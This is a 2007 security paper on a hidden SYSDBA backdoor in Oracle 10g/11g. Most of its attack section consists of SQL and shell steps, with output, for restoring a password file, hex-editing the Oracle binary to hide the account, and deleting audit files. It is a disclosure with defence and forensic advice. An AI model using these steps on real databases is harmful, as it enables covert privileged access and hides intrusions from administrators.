

Oracle SYSDBA Backdoor

Paul M. Wright ~ 14 October 2007

Summary

Within Oracle databases such as 11g it is a quick and easy task to create a SYSDBA account that is hidden from SYS.USER\$, DBA_USERS, V\$PWFILERS and GV\$PWFILERS so that a user with DBA privileges cannot tell that the hacker's SYSDBA account is present in the DB. This paper will examine a SYSDBA "backdoor", propose defences and appropriate forensic response.

Contents

Introduction.....	1
Attack Method	3
Defence and Forensic Response	7
Summary	7
References:.....	8
Appendix:.....	8
Figure 1 ~ Locate the SQL of GV\$PWFILERS using hexeditor search - BEFORE.....	5
Figure 2~ The SQL now hides the Attacker -AFTER	5

Introduction

This paper is in follow up to Oracle Passwords and OraBrute [1] paper which described the issue of SYSDBA brute forcing in 10g. Subsequent to brute forcing a SYSDBA account an attacker will wish to maintain SYSDBA access in a covert manner such that a DBA or security auditor will not be aware that the attacker has maintained this access over time. The following issue affects all supported versions of Oracle's RDBMS. First of all setting the scene.

```
SQL> SELECT * FROM V$VERSION;
BANNER
-----
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
PL/SQL Release 11.1.0.6.0 - Production
CORE      11.1.0.6.0      Production
TNS for Linux: Version 11.1.0.6.0 - Production
NLSRTL Version 11.1.0.6.0 - Production
```

--Default 11g gives these responses

```
SQL> SELECT VALUE FROM V$PARAMETER WHERE NAME = 'REMOTE_LOGIN_PASSWORDFILE' ;
VALUE
-----
EXCLUSIVE

SQL> SELECT * FROM V$PWFILERS;
USERNAME                               SYSDB SYSOP SYSAS
-----
SYS                                     TRUE  TRUE  FALSE
```

--If HACKER gains SYSDBA privilege using orabrute [1] or the improved orapwd-brute [2] they can then create their own SYSDBA user called in this case HACKER.

```
SQL> create user HACKER identified by HACKER
  2 default tablespace users
  3 temporary tablespace temp;
User created.
```

```
SQL> grant create session to HACKER;
Grant succeeded.
```

```
SQL> GRANT SYSDBA TO HACKER;
Grant succeeded.
```

```
SQL> COMMIT;
Commit complete.
```

```
C:\Documents and Settings\paulw>sqlplus HACKER/HACKER@10.1.1.166:15210/orcl
as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Wed Oct 10 13:48:03 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0-Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
```

```
SQL> SHOW USER
USER is "SYS"
SQL>
```

--PROBLEM FOR AN ATTACKER IS THAT THE ACCOUNT CAN BE SEEN

```
SQL> SELECT NAME FROM SYS.USER$;
NAME
-----
...
EXFSYS
EXP_FULL_DATABASE
FLOWS_030000
FLOWS_FILES
GATHER_SYSTEM_STATISTICS
GLOBAL_AQ_USER_ROLE
HACKER
HR
HS_ADMIN_ROLE
IMP_FULL_DATABASE
...
```

The Attacker wants to hide this account from the DBA via SYS.USER\$. What follows is one method they could use to do so.

Attack Method

The Attacker copies the current password file to a backup directory and then deletes the HACKER SYSDBA account from the DB. Then he puts back the original password file.

--Locate the file

```
[oracle@rhe511g dbs]$ locate orapworcl
/u01/app/oracle/product/11.1.0/db_1/dbs/orapworcl
```

--Back it up

```
cp /u01/app/oracle/product/11.1.0/db_1/dbs/orapworcl
/u01/app/oracle/product/11.1.0/db_1/dbs/orapworclbu
```

--Delete the HACKER SYSDBA user

```
SQL> drop user hacker cascade;
User dropped.
```

--Copy the passwordfile back

```
cp /u01/app/oracle/product/11.1.0/db_1/dbs/orapworclbu
/u01/app/oracle/product/11.1.0/db_1/dbs/orapworcl
```

--Then select SYS.USER\$ again

```
SQL> select name from SYS.USER$;
NAME
```

```
-----
EXFSYS
EXP_FULL_DATABASE
FLOWS_030000
FLOWS_FILES
GATHER_SYSTEM_STATISTICS
GLOBAL_AQ_USER_ROLE
HR
HS_ADMIN_ROLE
IMP_FULL_DATABASE
IX
JAVADEBUGPRIV
```

(The above process can be done without OS level access from the database see this URL.

<http://www.oracleforensics.com/wordpress/index.php/2007/12/24/sysdba-backdoor-without-direct-os-access/>)

There is now No HACKER account showing but the Attacker can still logon as HACKER.

```
C:\Documents and Settings\paulw>sqlplus HACKER/HACKER@10.1.1.166:15210/orcl
as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Wed Oct 10 14:00:05 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0-Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> show user
USER is "SYS"
```

But the Attacker has another problem because the smarter DBA will know that they should also check the v\$pwfile_users view for SYSDBAS, SYSOPERS and SYSASMS (11g).

```
SQL> select * from v$pwfile_users;
USERNAME                                SYSDB SYSOP SYSAS
-----
SYS                                     TRUE  TRUE  FALSE
HACKER                                 TRUE  FALSE FALSE
```

HACKER's backdoor account is still there for the DBA to see.

The Attacker would like to change this views source code to omit the HACKER account:

```
SQL> SELECT view_definition FROM v$fixed_view_definition WHERE
view_name='V$PWFILE_USERS';
VIEW_DEFINITION
-----
select USERNAME , SYSDBA , SYSOPER from GV$PWFILE_USERS where inst_id =
USERENV
('Instance')
```

Problem is that the GV\$PWFILE_USERS view is a FIXED view i.e. Oracle users including SYSDBA cannot change the source code. But if the attacker could change GV\$PWFILE_USERS then they could hide the HACKER SYSDBA account.

```
SQL> SELECT view_definition FROM v$fixed_view_definition WHERE
view_name='GV$PWFILE_USERS';
VIEW_DEFINITION
-----
-----select
inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE
','FALSE') from x$kzsr where valid=1 and username != 'INTERNAL'
```

The Attacker would like to change the source code of GV\$PWFILE_USERS to this.

```
select inst_id,username,decode(sysdba,1,'TRUE','FALSE'),
decode(sysoper,1,'TRUE','FALSE') from x$kzsr where username not
in('INTERNAL','HACKER')
```

Therefore the Attacker has to edit the Oracle binary to change the source of this fixed view.

```
--backup good Oracle binary
[oracle@rhe511g bin]$ pwd
/u01/app/oracle/product/11.1.0/db_1/bin
[oracle@rhe511g bin]$ mkdir oraclebugood
[oracle@rhe511g bin]$ cp ./oracle ./oraclebugood/oracle
```

Then using hexedit or similar search for the GV\$PWFILE_USERS ASCII string. The query before is the one that contains the SQL for GV\$PWFILE_USERS.

Then copy the edited binary back over the original.

```
[oracle@rhe511g bin]$ cp ./oraclebugood/oracle ./oracle
cp: cannot create regular file './oracle': Text file busy
```

Attacker needs to shutdown the db to copy over the running executable and restart it. (It is possible to bypass the reboot by directly altering memory but that is beyond the scope of this paper). Attacker then deletes the mandatory OS audit file created in the following directory thus covering their tracks.

```
SQL> show parameter audit_file_dest
NAME                                TYPE                                VALUE
-----                                -                                -
audit_file_dest                      string
/u01/app/oracle/admin/orcl/adump
```

```
SQL> shutdown immediate
Database closed.
Database dismounted.
```

```
ORACLE instance shut down.
SQL> exit
```

```
[oracle@rhe511g bin]$ cp ./oraclebugood/oracle ./oracle
done
```

```
sqlplus sys/orcl@10.1.1.166:15210/orcl as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Wed Oct 10 14:12:25 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to an idle instance.
SQL> startup
ORACLE instance started.
Total System Global Area  422670336 bytes
Fixed Size                  1300352 bytes
Variable Size              306186368 bytes
Database Buffers           109051904 bytes
Redo Buffers                6131712 bytes
Database mounted.
Database opened.
```

--The HACKER account is gone

```
SQL> select * from v$pwfile_users;
USERNAME                                SYSDB SYSOP SYSAS
-----                                - - - -
SYS                                     TRUE  TRUE  FALSE
```

--But can still logon using HACKER account as SYSDBA.

```
sqlplus HACKER/HACKER@10.1.1.166:15210/orcl as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Wed Oct 10 14:17:30 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> SHOW USER
USER is "SYS"
```

N.B. The above is tested and working on 10gR2 Windows and 11g Linux.

Defence and Forensic Response

The heart of this problem is the difference between `SYS.USER$` and the password file. Because of this difference it is quite possible for a single user to have two different passwords. This is because the only communication from the DB to the password file is when legitimate commands such as `GRANT SYSDBA TO X` or `DROP USER X` are used. Of concern is the fact that there is no feedback from the passwordfile back to `SYS.USER$`. The DB feeds its modifications to the passwordfile but the passwordfile cannot feed its modifications back to the tables in the DB.

The only standard way to see the hidden user account is by reading the `X$KZSRT` table but this can not be read by a DBA only by a `SYSDBA`.

```
SQL> SHOW USER
USER is "SYSTEM"
SQL> SELECT * FROM X$KZSRT;
SELECT * FROM X$KZSRT
ERROR at line 1:
ORA-00942: table or view does not exist
```

```
SQL> CONN SYS AS SYSDBA
Enter password:
Connected.
SQL> SELECT * FROM X$KZSRT;
ADDR  INDX INST_ID USERNAME  SYSDBA  SYSOPER  VALID
-----
05A1C0B0  0   1 INTERNAL    1          1        1
05A1C0B0  1   1 SYS         1          1        1
05A1C0B0  2   1 SYSMAN     1          0        1
```

The mitigation to address this issue is to checksum the password file and oracle binary, and then statecheck these over time. Additionally when auditing the database the `X$` tables such as `X$KZSRT` must be scanned but ODBC vulnerability scanners do not support `SYS` as `SYSDBA` scanning therefore checking the `X$KZSRT` table may have to be done manually. JDBC code that connects as `SYSDBA` to query the `X$KZSRT` table is included in the Appendix of this paper. It should be noted that if an attack is via a JDBC connection, Java creates its own logs that can be of use after an application attack. This subject will be discussed in a forthcoming paper called *Java Security and Forensics* [4] and is also the subject of London based SANS Java Security training on December 3rd 2007 [5].

Access to the DB as `SYSDBA` by the Attacker will be logged by mandatory auditing to the local OS but can be deleted. Of concern is the fact that mandatory audit of `SYSDBA` does not include the DB username only the fact that `SOMEONE` connected as `SYSDBA`. The identifying factor is the time of the `SYSDBA` login but in a team of `SYSDBAs` it may be difficult to identify unauthorised logins.

Summary

We can summarise from this paper that.

1. Security professionals need to carry out audits as `SYS` as `SYSDBA` (`X$KZSRT`).
2. Oracle would do well to monitor the password file more closely from the DB and to enable separately identifiable auditing of each `SYSDBA` (like `SUDO` on `UNIX`).
3. DBAs should statecheck the password files and Oracle exe using `SHA1/MD5` over time.
4. Logging mandatory audit to a remote server should be mandatory.

There is more detail about how to set up remote logging and also how to implement forensics response in an Oracle environment in the Author's book by Rampant TechPress [6].

References:

- [1] www.ngssoftware.com/research/papers/oraclepasswords.pdf
- [2] www.ngssoftware.com/research/papers/Investigating-Authentication-Attacks.pdf
- [3] http://searchsqlserver.techtarget.com/general/0,295582,sid87_gci1125870,00.html
- [4] www.oracleforensics.com/javasecurityforensics.pdf
- [5] <http://www.sans.org/london07/description.php?tid=1517>
- [6] www.rampant-books.com/book_2007_1_oracle_forensics.htm

Additional Recommended Reading:

Subsequent to the original publication of this paper a separate paper on how to implement an in memory backdoor was published by David Litchfield. The advantage of this from the attacker's perspective is that the backdoor is more difficult to detect.

www.databassecurity.com/oracle-backdoors.ppt

Appendix:

In order to connect as SYSDBA JDBC offers this simple connection method

```
-----
import java.sql.*;
import java.util.Properties;
class SimpleJDBC
{
    public static void main (String args []) throws SQLException
    {
        // Load the Oracle JDBC driver
        DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());

        // Connect to the database
        // You must put a database name after the @ sign in the connection URL.
        // You can use either the fully specified SQL*net syntax or a short cut
        // syntax as <host>:<port>:<sid>. The example uses the short cut syntax.

        Properties props = new Properties();
        props.put("user", "sys");
        props.put("password", "orajan");
        props.put("internal_logon", "sysdba");

        Connection conn = DriverManager.getConnection
("jdbc:oracle:thin:@10.1.1.133:1522:orajan", props);

        // Create a Statement
        Statement stmt = conn.createStatement ();

        // Select the table names from the user_tables
        ResultSet rset = stmt.executeQuery ("select username from x$kzsr");

        // Iterate through the result and print out the table names
        while (rset.next ())
            System.out.println (rset.getString (1));
    }
}
-----
```

```
F:\oracle\product\10.1.0\db_2\jdk\bin>javac SimpleJDBC.java
```

```
F:\oracle\product\10.1.0\db_2\jdk\bin>java SimpleJDBC
```

```
INTERNAL
```

```
SYS
```

```
SYSDBAUSER
```

-----N.B. Have to set classpath variable to the JDK and JDBC driver.